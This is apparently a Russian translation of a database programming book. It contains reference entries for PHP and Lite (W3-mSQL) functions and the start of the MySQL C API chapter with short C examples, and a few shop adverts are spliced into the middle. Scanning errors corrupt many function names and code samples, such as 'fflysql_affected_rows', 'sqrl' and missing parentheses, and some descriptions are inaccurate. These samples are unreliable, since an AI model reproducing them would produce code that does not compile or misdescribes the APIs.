Останавливает обработку страницы на указанное количество секунд.

sort

$sorted_array = sort($array)

Возвращает отсортированную в порядке возрастания копию неассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

soundex

$soundex_key =soundex($string);

Возвращает ключ soundex строки string .

sprintf

$string = sprintf($format, $arg, [$arg, $arg, ...]);

Возвращает форматированную строку format, в который каждый индикатор переменной в стиле С printf заменяется соответствующим значением arg. Можно указать до 5 аргументов.

sqrt

$value = sqrl($number);

Возвращает квадратный корень числа number.

srand

srand($integer);

Инициализирует генератор случайных чисел целочисленным аргументом integer. Эту функцию необходимо вызвать один (и только один) раз в начале любого скрипта, в котором вы используете функцию rand.

strchr strstr

$substring = strchr($string, $value);

$substring = strstr($string, $value); .

Возвращает часть строки string после первого обнаружения символа value в строке, strchr и strstr - идентичные функции, и включены обе для полноты.

strtr

strtr($string, $set1, $set2);

Все символы в строке string, которые входят в набор setl, функция преобразует в соответствующие символы в наборе set2. Если set1 длиннее set2, последний символ из set2 используется для «лишних» символов из set1. Если set2 длиннее set1, «лишние» символы из set2 игнорируются.

stripslashes

$plain_string = stripslashes($escaped_string);

Удаляет все управляющие символы из строки escaped_string .

strlen

$length = strlen($string);

Возвращает длину строки string .

strrchr

$substring = strrchr($string, $character);

Просматривает с конца строку string в поисках указанного символа. Функция возвращает часть строки, начиная с места, где был найден искомый символ character. Если символ не обнаружен, возвращается пустая строка.

strtok

$substring = strtok($string, $characters);

$substring = strtok($characters);

Разделяет строку string на подстроки, используя в качестве разделителя любой символ, указанный в characters . После первого вызова strtok не указывайте строковый аргумент в последующих вызовах, в этом случае функция вернет каждую удачно выделенную подстроку, пока не будет достигнут конец string .

strtolower

$lc_string = strtolower($string);

Возвращает string , где все символы преобразованы в символы нижнего регистра.

strtoupper

$uc_string = strtoupper($string);

Возвращает string , где все символы преобразованы в символы верхнего регистра.

strval

$string = strval($variable);

Возвращает переменную variable в виде строкового значения.

substr

$substring = substr($string, $start, Slength);

Возвращает часть строки string , которая начинается с позиции start (0 является первым символом) и имеет длину в length символов.

symlink

symlink($target, $filename);

Создает символическую связь (ссылку) от filename к target.

syslog

syslog($level, $message);

Записывает сообщение message в системный журнал с уровнем level.

system

$results = system($command);

$results = system($command, $return_value);

Выполняет указанную внешнюю команду command и возвращает все результаты. Если задан второй аргумент, туда записывается возвращаемое значение (код возврата) команды.

tan

$value = tan($number);

Возвращает тангенс аргумента number (в радианах).

tempnam

$filename = tempnam($path, $prefix);

Возвращает имя файла с префиксом prefix, который будет уникальным в каталоге, указанном в path.

time

$time = time();

Возвращает текущее время в стандартном формате времени Unix (число секунд после 1 января 1970 года).

umask

$umask = umask();

umask($umask);

Возвращает текущую маску umask, если аргумент не указан. Если аргумент umask указан, устанавливает umask в указанное значение (которое должно быть восьмеричным числом).

uniqid

$result = uniqid();

Возвращает значение, уникальность которого по отношению к другим значениям, возвращаемым повторными вызовами этой функции, гарантирована.

unlink

unlink($filename);

Удаляет указанный файл.

unset

unset($variable);

Сбрасывает значение указанной переменной, которая может быть элементом массива. При применении данной функции к массиву удаляется весь массив.

urldecode

$decoded_string = urldecode($string);

Возвращает копию строки string, в которой все экранированные спецсимволы URL раскодируются в их значения. Это делается автоматически для всех входящих данных.

urlencode

$encoded_string = urlencode($string);

Возвращает копию строки string, в которой все спецсимволы закодированы для использования в URL.

usleep

usleep($ms);

Задерживет синтаксический анализ скрипта на заданное в ms число микросекунд.

virtual

virtual($filename);

Подключает файл filename точно так же, как в обычном файле HTML это делает тег <!--#include virtual=»$filename» --> . Эта функция полезна только вместе с веб-сервером Apache.

Lite

Lite - это язык сценариев, используемый W3-mSQL. Его синтаксис очень похож на С и еще больше на Perl. Фактически, многие скрипты Lite синтаксически неотличимы от сценариев Perl. Однако Lite лишен многих расширенных возможностей Perl.

Ниже приводится краткий справочник стандартных функций Lite, доступных при использовании W3-mSQL.

chdir

$result = chdir($path)

Изменяет каталог на указанный путь. Если операцию произвести не удалось, возвращается отрицательное целое число.

chmod

$result = chmod($filename, $mode)

Изменяет режим указанного файла на значение, заданное в mode. Если операцию произвести не удалось, возвращается отрицательное целое число. Значение mode может быть задано как десятичное, восьмеричное или шестнадцатеричное.

chop

$string = chop($string)

Возвращает строку, у которой удален последний символ. Это весьма удобно для удаления символа конца строки из строк, прочитанных функцией read In.

close

close ($fd)

Закрывает файл, связанный с указанным файловым дескриптором.

ctime

$time = ctime($time)

Преобразует время time, заданное некоторым числом секунд с начала отсчета, в обычное текстовое представление времени Unix.

echo

echo($string)

Печатает заданную строку. Все переменные в строке заменяются на их значения.

fprintf

fprintf($fd, $string [, arg ...])

Работает как функция С (или Perl) с тем же именем. Первый аргумент - это файловый дескриптор. Отформатированная строка печатается в файл, связанный с файловым дескриптором.

gethostbyaddr

$hostinfo = gethostbyaddr($address)

Возвращает тот же массив, что и gethostbyname() для указанного IP-адреса. IP-адрес должен быть задан десятичной строкой типа «127.0.0.1». В официальной документации к W3-mSQL эта функция называется и gethostbyaddr , и gethostbyaddress . На момент написания этих строк gethostbyadd ress не было среди функций W3-mSQL.

gethostbyname

$hostinfo = gethostbyname($host)

Возвращает массив информации об указанном хосте. Первый элемент массива - это имя хоста, второй элемент - это его IP-адрес.

getpid

$pid = getpid()

Возвращает идентификатор процесса (PID) программы Lite.

getpwnam

$entry = getpwnam($username)

Возвращает массив информации о пользователе с пользовательским именем username . В массиве имеются следующие поля:

  1. Имя пользователя.
  2. Пароль.
  3. UID.
  4. GID.
  5. GECOS (полное имя и другая дополнительная информация).
  6. Домашний каталог.
  7. Оболочка.

getpwuid

$entry = getpwuid($UID)

Возвращает массив, идентичный массиву, возвращаемому getpwnam для пользователя с пользовательским ID $UID.

includeFile

includeFile($filename)

Эта функция подключает файл filename к результату программы. Файл никак не изменяется и не анализируется.

kill

$result = kill($pid, $signal)

Посылает сигнал signal процессу pid. Если операцию выполнить не удалось, возвращается отрицательное целое число.

link

$result = link($file, $newlinkname)

Создает «жесткую» ссылку от file к newlinkname . Если операцию совершить не удалось, возвращается отрицательное целое число.

mkdir

$result = mkdir($directoryname)

Создает каталог с указанным именем. Если операцию выполнить не удалось, возвращается отрицательное целое число.

msqIConnect

$socket = msqlConnect($host)

Подключается к серверу mSQL на хосте host. Возвращает номер соке-та, используемый для последующей связи с сервером баз данных. При неудаче возвращается отрицательное целое число.

msqICIose

msqlClose($socket)

Закрывает подключение, указанное сокетом socket.

msqIDataSeek

msqlDataSeek($result, $location)

Помещает 'указатель' для result среазу перед записью. Указав location 0, вы поместите указатель в начало данных. Следующий вызов msqlFetchRow выберет строку сразу после location.

msqlEncode

$string = msqlEncode($string)

Функция возвращает перекодированную копию строки string, которую можно использовать в запросе mSQL.

msqlFetchRow

$row = msqlFetchRow($result)

Эта функция возвращает в виде массива следующую доступную запись из result.

msqIFieldSeek

msqlFieldSeek($result, Slocation)

Функция изменяет 'указатель' на результат, возвращаемый msqllnitFieldList, так же как msqIDataSeek изменяет результат msqlStoreResult . ..

msqIFreeResult

msqlFreeResult($result)

Функция освобождает всю память, использованную результатом, выбранным из базы с помощью msqlStoreRcsult . Эту функцию необходимо вызывать для каждого результата, с которым вы закончили работать.

msqllnitFieldList

$result = msqlInitFieldList($socket, $database, $table)

Создает информационную таблицу о таблице table в базе данных database на сервере, указанном аргументом socket.

msqIListDBs

$databases = msqlListDBs($socket)

Возвращает массив имен всех доступных баз данных на сервере, указанном аргументом socket.

msqIListField

$tableinfo = msqlListField($result)

Возвращает массив информации о следующем поле таблицы, созданной msqllnitFieldList , указываемой аргументом result. Каждый последующий вызов функции msqIListField выдает новый массив информации, пока не закончатся поля таблицы. Массив состоит из следующих полей:

  1. Имя поля
  2. Имя таблицы
  3. Тип таблицы
  4. Длина
  5. Флаги

msqIListTables

$tables = msqlListTables($socket, $database)

Возвращает массив имен доступных таблиц базы данных database на сервере, указанном аргументом socket.

msqINumRows

msqlNumRows($result)

Возвращает количество записей в данных, содержащихся в result.

msqIQuery

$result = msqlQuery($socket, $query)

Пытается послать запрос query к подключению, указанному аргументом socket. Если запрос не был успешно выполнен, возвращается отрицательное целое число.

msqISelectDB

$result = msqlSelectDB($socket, $database)

Функция пытается подключить socket к базе данных, указанной аргументом database . Если попытка не удалась, возвращается отрицательное целое число.

msqIStoreResult

$result = msqIStoreResult

Выбирает все данные, полученные в результате последнего вызова msqlQuery , и сохраняет их для чтения и обработки.

open

$fd = open($file, $mode)

Эта функция открывает указанный файл, используя заданный режим, и связывает с файлом файловый дескриптор. Режимы могут быть следующими:

> Открыть файл для записи

<Открыть файл для чтения

<> Открыть файл для чтения или записи

<Р Создать именованный канал и открыть его для чтения

>Р Создать именованный канал и открыть его для записи

<| Выполнить файл как команду и прочесть результаты

>| Выполнить файл как команду и сделать запись в процесс

pid

$pid = getppid()

Возвращает идентификатор (PID) родительского для программы Lite процесса.

printf

printf($string [, arg, ... ])

Работает как функция С (или Perl) с тем же именем. Значение переменных не подставляется; для ввода переменных в строку необходимо использовать стандартное для С форматирование '%s'.

read

$data = read($fd, $length)

Читает указанное в length число байт из заданного файлового дескриптора.

readln

$line =readln($fd)

Читает следующую строку из указанного файлового дескриптора.

readtok

$data = readtok($fd, $token)

Функция читает данные из указанного файлового дескриптора, пока не встретит маркер token. Используется только первый символ из token.

rename

$result = rename($oldname, $newname)

Функция пытается переименовать указанный файл (или каталог) из oldname в newname . Если операцию совершить не удалось, возвращается отрицательное целое число.

rmdir

$result = rmdir($path)

Функция пытается удалить указанный каталог. Если операцию совершить не удалось, возвращается отрицательное целое число.

setContentType

setContentType($string)

Заменяет заданный по умолчанию тип содержимого HTML-страницы, содержащей скрипт, на значение, указанное в string. Эта функция должна быть самой первой строкой документа. Перед ней не должно быть даже пустой строки.

sleep

sleep($time)

Останавливает работу программы на указанное количество секунд.

split

$strings = split($string, $token)

Разделяет заданную строку на массив строк, используя как разделитель символ token..

stat

$stat = stat($file)

Возвращает массив информации о файле file. В массиве содержатся следующие элементы:

  1. Номер inode.
  2. Режим файла.
  3. Количество ссылок на файл.
  4. UID.
  5. GID.
  6. Размер файла.
  7. Atime.
  8. Mtime.
  9. Ctime.
  10. Размер блока файловой системы (в байтах).
  11. Количество используемых блоков файловой системы.

strftime

$time = strftime($format, $time)

Преобразует время Unix в текстовое представление времени, используя заданный формат format. Все описанные ниже последовательности в строке format заменяются на соответствующие им значения:

%а

День недели в виде местных сокращений названий дней недели.

%А

День недели в виде местных полных названий дней недели.

%b

Месяц в виде местных сокращенных названий.

%В

Месяц в виде местных полных названий месяцев.

%d

День месяца (01-31).

%D

День в виде % m/% d/% у.

%е

День месяца (1-31, перед числами первого десятка добавляется пробел).

%Н

Час (00-23).

%I

Час (00-12).

%j

День в году (001-366).

%h

Часы (0-23, отделенные пробелами).

%l

Часы (1-12, отделенные пробелами).

%m

Номер месяца (01—12).

%M

Минуты (00-59).

%р

AM или РМ.

%S

Секунды (00-59).

%Т

Время в виде % Н:% М:% S.

%U

Номер недели в году (01-52).

%w

День недели (0-6, воскресенье является 0).

%y

Год века (00-99).

%Y

Год, включая век (например 1999).

strseg

$string = strseg($string, $start, $end)

Возвращает подстроку из указанной строки, которая начинается с позиции start и закачивается на позиции end от начала строки.

sub

$string = sub($string, $ехр1, $ехрr2)

Заменяет любые вхождения exprl в string на значение ехрг2. Значения exprl и ехрг2 могут быть разными по длине, строка string автоматически будет укорочена либо удлинена.

substr

$string = substr($string1, $regexp, $string2)

Находит подстроку в строке string"!, которая отвечает регулярному выражению regexp. Каждой части регулярного выражения, заключенной в скобки, присваивается переменная $1, $2, $3 и т. д., содержащая результат совпадения, если оно было найдено. Возвращается значение string2 , с расширенными переменными (включая $1, $2, $3 и т. д.).

tr

$string = tr($string, $list1, $list2)

Функция замещает все символы из списка listl, которые находит в строке string, их эквивалентом в списке list2 (например, tr("Robby", "oy", "ai") вернет строку «Rabbi»). Список символов может содержать диапазон символов, разделенный "-". В частности, tr("e.e. cummings", "a-z," "A-Z") вернет строку «E.E. CUMMINGS.»

truncate

$result = truncate($fale, $length)

Функция пытается сократить размер файла до указанной в байтах длины length . Обычно используется для создания файла с нулевой длиной. Если попытка не удалась, вернется отрицательное целое число.

umask

umask($mask)

Устанавливает umask текущего процесса в заданное значение mask, которое может быть десятичным, восьмеричным или шестнадцатерич-ным.

unixtime2*

$year = unixtime2year($time)

$month = unixtime2month($time)

$day = unixtime2day($time)

$hour = unixtirne2hour($time)

$min = unixtime2min($time)

$sec = unixtime2sec($time)

Данные функции берут в качестве аргумента значение времени в формате Unix и возвращают запрашиваемое значение. Например, функция unixtime2day(time()) может вернуть текущий день месяца (значение от 1 до 31).

unlink

$result = unlink(«filename»)

Удаляет указанный файл. Если удалить файл не удалось, возвращается отрицательное целое число.

urIEncode

$string = urlEncode($string)

Эта функция возвращает копию строки string , которая перекодирована для безопасной вставки в URL.

Болеро
Видео, Музыка, Программы, Игрушки, Книги, Подарки. Доставка курьером, почтой.

Digita.ru
Интернет-Магазин:
Современная Аудио- и Видеотехника.

Gimi.Ru:
бытовая техника, посуда, увлажнители и ионизаторы воздуха, эпиляторы, электро- и гидромассажеры

Porta.Ru
Цифровое Аудио, Фото и Видео, Компьютеры и Связь, Часы, Переводчики и др.


  • Глава №19. Справочник С
    • MySQL С API
    • mSQLCAPI

Глава №19.

Справочник С

MySQL С API

MySQL С API кроме стандартных типов данных языка С использует некоторые свои типы данных. Они определены в заголовочном файле 'mysql.h', который необходимо подключать при компиляции всех программ, использующих библиотеку MySQL.

Типы данных

MYSQL

Структура, представляющая соединение с сервером баз данных. Элементы структуры среди прочего содержат имя текущей базы данных и информацию о клиентском подключении.

MYSQL_FIELD

Структура, которая содержит всю информацию, касающуюся отдельного поля таблицы. Из всех типов, созданных для MySQL, это единственная структура, к полям которой можно получить прямой доступ из клиентских программ. Поэтому необходимо знать строение этой структуры:

char *name

Имя поля.

char *table

Имя таблицы, содержащей это поле. Для результирующих наборов, которые не представляют реальных таблиц, это значение пустое.

char *def

Значение по умолчанию этого поля, если таковое существует. Это значение всегда будет null до вызова mysql_list_f ields, после чего в переменной будет корректное значение для полей, у которых есть значение по умолчанию.

еnum enum_field_types type

Тип поля. Он является одним из типов данных MySQL SQL.

unsigned int length

Размер поля, основанный на типе поля.

unsigned int max_length

После вызова mysql_list_fields здесь находится длина максимального значения, содержащегося в текущем результирующем наборе.

unsigned int flags

Ноль или более флагов. В настоящее время определены следующие флаги:

NOT_NULL_FLAG

Если установлен, поле не может содержать значение

NULL. PRI_KEY_FLAG

Если установлен, поле является первичным ключом.

UNIQUE_KEY_FLAG

Если установлен, поле является частью уникального ключа.

MULTIPLE_KEY_FLAG

Если установлен, поле является частью ключа.

BLOB_FLAG

Если установлен, поле имеет тип BLOB или TEXT.

UNSIGNED_FLAG

Если установлен, поле имеет числовой тип и содержит беззнаковое значение.

ZEROFILL_FLAG

Если установлен, поле было создано с флагом ZEROFILL.

BINARY_FLAG

Если установлен, поле имеет тип CHAR или VARCHAR с флагом BINARY.

ENUM_FLAG

Если установлен, поле имеет тип ENUM.

AUTO_INCREMENT_FLAG

Если установлен, поле имеет атрибут AUTO_INCREMENT.

TIMESTAMP_FLAG

Если установлен, поле имеет тип TIMESTAMP.

unsigned int decimals

При использовании с числовым полем выдает длину дробной части.

Для облегчения использования данных MYSQL_FIELD созданы следующие макросы:

IS_PRI_KEY( flags)

Возвращает true, если поле является первичным ключом.

IS_NOT_NULL(flags)

Возвращает true, если поле имеет ограничение NOT NULL.

IS_ELOE(flags)

Возвращает true, если поле имеет тип BLOB или TEXT.

IS_NUM(type)

Возвращает true, если тип поля является числовым.

MYSQL_FIELD_OFFSET

Числовой тип, указывающий на позицию «курсора» в строке (записи).

MYSQL_RES

Структура, содержащая результат команды SELECT (или SHOW). Доступ к данным из запросов следует осуществлять через элемент этой структуры MYSQL_ROW.

MYSQL_ROW

Одна запись из данных, возвращаемых запросом SELECT. Все результаты, полученные от MySQL, хранятся в этом типе (как массив символьных строк).

my_ulonglong

Числовой тип, используемый для кодов возврата MySQL. Значение может находиться в диапазоне от 0 до 1.8Е19, и —1 используется для указания на ошибку.

my sql_affected_ro ws

my_ulonglong mysql_affected_rows(MYSQL*mysql)

Возвращает число записей, измененных последним запросом. При использовании с запросом SELECT эта функция идентична mysql_num_rows (вернет число записей в результирующем наборе). С остальными запросами функция может быть использована после вызова mysql_query, которая послала запрос.

Пример

/* Вставить запись в таблицу 'people' */

mysql_query(&mysql, "INSERT INTO people VALUES ('', 'Illyana Rasputin',

16)";

num = fflysql_affected_rows(&mysql);

/* Если операция INSERT удалась, переменная num должна быть равна 1, и -1, если произошла ошибка */

mysql_close

void mysql_close(MYSQL*mysql)

Завершает соединение с сервером баз данных MySQL. Если при разрыве соединения возникли проблемы, сообщение об ошибке можно посмотреть, используя функцию mysql_err.

Пример

mysql_close(&mysql);

/* Теперь подключение должно быть завершено */

mysql_connect

MYSQL *mysql_connect(MYSQL*mysql, const char*host, const char*user, const char *passwd)

Создает подключение к серверу баз данных MySQL. Первым параметром должна быть предварительно объявленная структура MYSQL. Второй параметр - это имя хоста или IP-адрес сервера MySQL. Если хост задан пустой строкой или как localhost, будет выполнено подключение к серверу MySQL на той же машине. Последние два параметра -это используемые для подключения имя пользователя и пароль. Пароль вводится открытым текстом и не шифруется. Функция возвращает структуру MYSQL, переданную первым аргументом, либо NULL, если соединение не было установлено. (Так как структура содержится в аргументе, единственное применение возвращаемого значения - это проверка успешности подключения.)

Эта функция потеряла значение в последних версиях MySQL, вместо нее следует пользоваться функцией mysql_real_connect.

Пример

/* Создать подключение к локальному серверу MySQL, используя имя "bob" и

пароль "mypass" */ MYSQL mysql;

if(!mysql_connect(&mysql, "", "bob", "mypass")) {

printf("Oшибкa при подключении!\n");

exit(0); }

/* Если мы дошли сюда, значит, успешно подключились к серверу баз данных*/

mysql_create_db

int mysql_create_db(MYSQL*mysql, const char*db)

Создает полностью новую базу данных с указанным именем. Функция вернет ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

Эта функция потеряла значение в последних версиях MySQL. Теперь MySQL поддерживает оператор SQL CREATE DATABASE. Следует использовать его с помощью функции mysql_query.

Пример

/* Создать новую базу данных 'new_database' */

result = mysql_create_db(&mysql, "new_database");

mysql_data_seek

void mysql_data_seek(MYSQL_RES*res, unsigned int offset)

Передвигает курсор на определенную запись в наборе записей. Первый аргумент является структурой MYSQL_RES, которая содержит записи. Второй аргумент указывает на номер записи, которую вы хотите найти. Номер первой записи - 0. Эта функция работает, только если данные были выбраны с помощью mysql_store_ result.

Пример

/* Перейти к последней записи в результате */

mysql_data_seek(results, mysql_num_rows(results)-1);

mysql_debug

mysql_debug(char *debug)

Управляет отладочными функциями, если при компиляции клиента была разрешена отладка. MySQL использует отладочную библиотеку Fred Fish, которая имеет слишком много параметров и особенностей, чтобы быть описанной в этой книге.

Пример

/* Это обычное использование отладочной библиотеки. Информация о деятельности

клиентских программ записывается в файл "debug.out"*/

mysql_debug("d:t:0, debug. out");

mysql_drop_db

int mysql_drop_clb(MYSQL*mysql, const char*db)

Уничтожает базу данных с указанным именем. Функция вернет ноль, если операция была успешно выполнена, и ненулевое значение в случае ошибки.

Эта функция потеряла значение в последних версиях MySQL. Теперь MySQL поддерживает оператор SQL DROP DATABASE. Его следует использовать через mysql_query вместо функции mysql_drop_db.

Пример

/* Уничтожить базу данных 'old_database' */

result = mysql_drop_db(&mysql, "old_database");

mysql_dump_debug_info

int mysql_dump_debug_info(MYSQL*mysql)

Эта функция заставляет сервер баз данных записывать отладочную информацию о текущем подключении в свои журнальные файлы. Для использования этой функции у вас должно быть право Process для текущего подключения. Функция вернет ноль в случае успешного выполнения операции и ненулевое значение в случае ошибки.

Пример

result = mysql_dump_debug_info(&mysql);

/* Теперь журналы сервера должны содержать информацию о текущем

подключении */

mysql_eof

my_bool mysql_eof(MYSQL_RES* result)

Возвращает ненулевое значение, если больше нет данных в проверяемом наборе записей. При обнаружении ошибки в результирующем наборе возвращается ноль. Эта функция работает, только если результирующий набор был получен функцией mysql_use_result.

Пример

/* Прочитать до конца набор записей */

while((row = mysql_fetch_row( results.))) {

/'Обработка 7 }

if(!mysql_eof(results))

{

printf("Ошибка. Конец результата не достигнут.\n");

mysql_errno

unsigned int mysql_errno(MYSQL*mysql)

Возвращает номер последней ошибки, связанной с текущим подключением. Если подключение прошло без ошибок, функция возвращает ноль.

Пример

error = mysql_errno(&mysql);

printf("HoMep последней ошибки: %d\n", error);

mysql_error

char *mysql_error(MYSQL*mysql)

Возвращает сообщение о последней ошибке, связанной с текущим подключением. Если при подключении не было ошибок, функция возвращает пустую строку.

Пример

printf("Последняя ошибка была: '%s'\n", mysql_error(&mysql));

mysq l_esca pe_strin g

unsigned int mysql_escape_string(char*to, const char "from, unsigned int

length)

unsigned int mysql_escape_string(char*to, const char *from)

Кодирует строку таким образом, что ее можно безопасно вставить в таблицу MySQL. Первый аргумент - это получающая строка, которая должна быть по крайней мере на один символ больше двойной длины исходной строки, задаваемой вторым аргументом (то есть to >= from*2+l). Если есть третий аргумент, он указывает количество байт, копируемое из исходной строки перед кодированием. Функция возвращает число байт в кодированной строке, исключая цустой символ в конце строки.

Пример

char name[15] = "Bob Marley's";

char enc_name[31];

mysql_escape_string(enc_name, name);

/* enc_name теперь будет содержать "Bob Marley\'s" (единичная кавычка

закодирована).

mysql_fetch_field

MYSQL_FIELD*mysql_fetch_field(MYSQL_RES* result)

Возвращает структуру MYSQL_FIELD, описывающую доле заданного результирующего набора. Дальнейшие вызовы этой функции вернут информацию о каждом следующем поле, пока поля не закончатся, и тогда будет возвращено нулевое значение.

Пример

MYSQL_FIELD*field;

while((field = mysql_fetch_field(results)))

{

/* Здесь вы можете проверить информацию о поле */

}

mysql_fetch_field_direct

MYSQL_FIELD * mysql_fetch_field_direct(MYSOL_RES * result, unsigned int fieldnr)

Эта функция идентична mysql_fetch_field за исключением того, что вместо цикла по полям вы указываете, какое поле проверить. Номер первого поля в наборе - 0.

Пример

MYSQL_FIELD *field;

/* Получить информацию о третьем поле в наборе записей */

field = mysql_fetch_field_direct(results, 2);

mysql_fetch_fields

MYSQL_FIELD *mysql_fetch_fields(MYSQL_RES* result)

Функция идентична mysql_fetch_field за исключением того, что она возвращает массив структур MYSQL_FIELD, содержащих информацию о каждом поле в результирующем наборе.

Пример

MYSQL_FIELD 'field; MYSQL_FIELD 'fields;

/* Получить всю информацию о полях в наборе записей */

fields = mysql_fetch_fields(results);

/* Приписать третье поле переменной 'field' */

field = fields[2];

mysql_fetch_lengths

unsigned long *mysql_fetch_lengths(MYSQL_RES*result)

Возвращает массив длин каждого поля в текущей записи. В случае ошибки функция возвращает нулевое значение. Вы должны выбрать хотя бы одну запись (используя mysql_fetch_row) перед вызовом этой функции. Эта функция является единственным способом выяснить длину полей переменной длины, таких как BLOB и VARCHAR, перед использованием данных.

Пример

unsigned long *lengths;

row = mysql_fetch_row(results);

lengths = mysql_fetch_lengths(results);

printf("Tpetbe поле имеет длину %d байт\n", lengths[2]);

mysql_fetch_row

MYSQL_ROW mysql_fetch_row(MYSQL_RESresult)

Выбирает следующую запись в наборе и возвращает ее как структуру MYSQL__ROW. Если записей больше нет или в случае ошибки, возвращается нулевое значение. В текущей реализации структура MY.SQI _ROW - это массив символьных строк, который может представлять любые данные.

Пример

MYSQL_ROW row;

row = mysql_fetch_row(results);

printf("Данные в третьем поле этой записи: %s\n", row[2]);

mysql_field_seek

MYSQL_FIELD_OFFSET mysql_field_seek(MYSQL_RES *result, MYSQL_FIELD_OFFSET offset)

Ищет указанное поле в текущей записи результирующего набора. Позиция, установленная этой функцией, используется при вызове mysql_fetch_field. Переданное значение MYSQL_FIELD_OFFSET должно быть значением, возвращаемым функцией mysql_field_tell (или другим вызовом mysql_f ield_seek). Если это значение равно 0, поиск будет осуществляться с начала записи. Функция возвращает позицию курсора перед вызовом функции.

Пример

MYSQL_FIELD field;

/* Перейти к началу записи */

old_pos = mysql_field_seek(results, 0);

/* Выбрать первое поле записи */

field = mysql_field_field(results);

/* Вернуться к исходному состоянию */

mysql_field_seek(results, old_pos);

mysql_field_tell

MYSQL_FIELD_OFFSET mysql_field_tell(MYSQL_RESresult)

Возвращает значение текущей позиции поля в текущей записи результирующего набора. Это значение используется с mysql_f ield_seek.

Пример

MYSQL_FIELD fieldl, field2, fieldS;

/* Запомнить текущую позицию */

old_pos = mysql_field_tell(results);

/* Выбрать еще три поля */

field1 = mysqLfield_field(results);

field2 = mysql_field_field(results);

field3 = mysql_field_field(results);

/* Вернуться к исходной позиции */

mysql_field_seek(results, old_pos);

mysql_free_result

void mysql_free_result(MYSQL_RESresult)

Освобождает память, связанную со структурой MYSQL_RES. Эту операцию следует всегда выполнять при завершении использования структуры этого типа или при других проблемах с памятью.

Пример

MYSQL_RES "results;

/* Выполнить операции с результатами */

mysql_free_result(results);

mysql_get_client_info

char *mysql_get_client_info(void)

Возвращает строку с версией библиотеки MySQL, используемой клиентской программой.

Пример

printf("Этa программа использует клиентскую библиотеку MySQL версии %s\n",

mysql_get_client_info()));

mysql_get_host_jnfo

char *mysql_get_host_info(MYSQL*mysql)

Возвращает строку, содержащую имя хоста сервера баз данных MySQL и тип используемого подключения (например, Unix-сокет или TGP).

Пример

print("Информация о подключении: %s", mysql_get_host_info(&mysql));

mysq l_get_proto_i nf о

unsigned int mysql_get_proto_info(MYSQtmysql)

Возвращает в виде целого числа версию протокола MySQL, используемого в текущем подключении.

Пример

printf("Этo подключение использует протокол соединений MySQL версии %d\n",

mysql_get_proto_info());

mysql_get_server_info

char *mysql_get_server_info(MYSQL*mysql)

Возвращает строку, содержащую номер версии сервера баз данных MySQL, используемого в текущем подключении.

Пример

printf("Bы подключены к серверу MySQL версии %s\n", mysql_get__server_info(&mysql);

mysqljnfo

char *mysql_info(MYSQL*mysql)

Возвращает строку, содержащую информацию о последнем запросе, если этот запрос был одним из указанных ниже. В настоящее время дополнительную информацию через эту функцию выдают следующие SQL-запросы: INSERT INTO (при использовании с оператором SELECT); LOAD DATA INFILE; ALTER TABLE; INSERT INTO TABLE (при использовании с множеством записей). Если последний запрос не имел дополнительной информации (например, это был один из других запросов), функция возвращает нулевое значение.

Пример

/* Только что был послан запрос LOAD DATA INFILE, загрузивший набор записей из файла

в существующую таблицу */ printf("Результат загрузки данных: %s\n", mysql_info(&mysql));

mysql_init

MYSQL *mysql_init(MYSQL*mysql)

Инициализирует структуру MYSQL, используемую для создания подключения к серверу баз данных MySQL. Наряду с mysql_real_connect, это является способом инициализации подключения к серверу. Вы передаете этой функции объявленную структуру MYSQL либо пустой указатель, в случае чего структура MYSQL будет создана и возвращена. Созданные этой функцией структуры корректно освобождаются функцией mysql_close. Если для инициализации структуры не хватило памяти, возвращается нулевое значение.

Пример

MYSQL mysql;

if (!mysql_init(&mysql)) {

printf("Ошибка инициализации клиента MySQL\n");

exit(1); }

mysqljnsertjd

my_ulonglong mysql_insert_id(MYSQL*mysql)

Вернет последнее число, сгенерированное для поля AUTO_INCREMENT. Данная функция обычно используется сразу после ввода значения в поле AUTO_INCREMENT, чтобы выяснить значение, которое было введено.

Пример

/* Мы только что ввели запись о сотруднике с автоматически генерируемым ID в

таблицу */

id = mysql_insert_id(&mysql);

printf(''Новый сотрудник получил ID %d\n", id);

mysql_kill

int mysql_kill(MYSQL*mysql, unsigned long pid)

Пытается завершить поток сервера MySQL с указанным ID процесса (PID). Эта функция возвращает ноль в случае успешного выполнения операции и ненулевое значение в случае неудачи. Чтобы воспользоваться этой функцией, вы должны иметь право Process для текущего подключения.

Пример

/* Завершить поток с номером 4 */

result = mysql_kill(&mysql, 4);

mysql_list_dbs

MYSQL_RES*mysql_list_dbs(MYSQL*mysql, const char*wild)

Возвращает структуру MYSQL_RES, содержащую имена всех существующих баз данных, которые отвечают выражению, заданному во втором аргументе. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель, будут возвращены имена всех баз данных. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

Пример

MYSQL_RES databases;

databases = mysql_list_dbs(&mysql, (char*)MULL);

/* 'databases' теперь содержит имена всех баз данных на сервере MySQL */

mysql_list_fields

MYSQL_RES *mysql_list_fields(MYSQL*mysql, const char*table, const char *wild)

Возвращает структуру MYSQL_RES, содержащую имена всех существующих полей в указанной таблице, которые удовлетворяют выражению, переданному третьим аргументом. Этот аргумент может быть любым стандартным регулярным выражением SQL. Если передать нулевой указатель, будет возвращен список имен всех полей. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_free_result. Эта функция возвращает нулевое значение в случае ошибки.

Пример

MYSQL_RES fields;

fields = mysql_list_fields(&mysql, "people", "address%");

/* 'fields' теперь содержит имена всех полей в таблице 'people', начинающихся с 'address' */

mysql_list_processes

MYSQL_RES*mysql_list_processes(MYSQL*mysql)

Возвращает структуру MYSQL_RES, содержащую информацию о всех текущих потоках, запущенных на сервере баз данных MySQL. Эта информация может быть использована с mysql_kill для завершения потоков, вызывающих ошибки. Как и все структуры MYSQL_RES, значение, возвращаемое этой функцией, должно быть освобождено с помощью mysql_f ree_result. Эта функция возвращает нулевое значение в случае ошибки.

Пример

MYSQL_RES threads;

threads = mysql_list_processes(&mysql);

mysql_list_tables

MYSQL_RES*mysql_list_tables(MYSQL*mysql, const char*wild)

